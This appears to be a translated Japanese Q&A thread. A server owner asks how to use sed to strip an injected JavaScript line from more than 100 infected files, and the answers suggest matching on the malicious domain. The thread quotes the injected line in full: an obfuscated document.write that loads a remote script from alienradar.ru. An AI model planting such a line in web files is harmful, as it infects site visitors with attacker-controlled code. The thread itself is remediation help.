0

最近、私のLinuxサーバーがマルウェアに感染し、その結果、100以上のファイルが1行のJavascriptコードに感染しました。

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');

手動で削除するには疲れすぎるので、グーグルを掘り下げて(Linuxについてあまり知らなくても役に立たなかった)、この目的でsedを使用できることがわかりました。

残念ながら、私はラインを逃れることができなかったので、私は使うことができました

sed -i.bak '/line of text/d' *

構文では、一重引用符、二重引用符、円記号でいっぱいです。

どうすれば文字列をエスケープできますか、またはこれを行う他の-より簡単な-方法はありますか?

4

2 に答える 2

1

sedを使用して、たとえばalienradar.ru、、または攻撃的な行にのみ存在する他のサブストリングを含む行を削除することはできませんか?何かのようなもの:

sed -i.bak '/alienradar.ru/d' *
于 2010-10-31T17:05:37.770 に答える
0

http://www.configureweb.com/post/how-to-change-html-code-in-multiple-files-at-once サーバーからすべてのファイルをダウンロードして再アップロードした後、これに従ってください

于 2012-11-15T21:45:02.173 に答える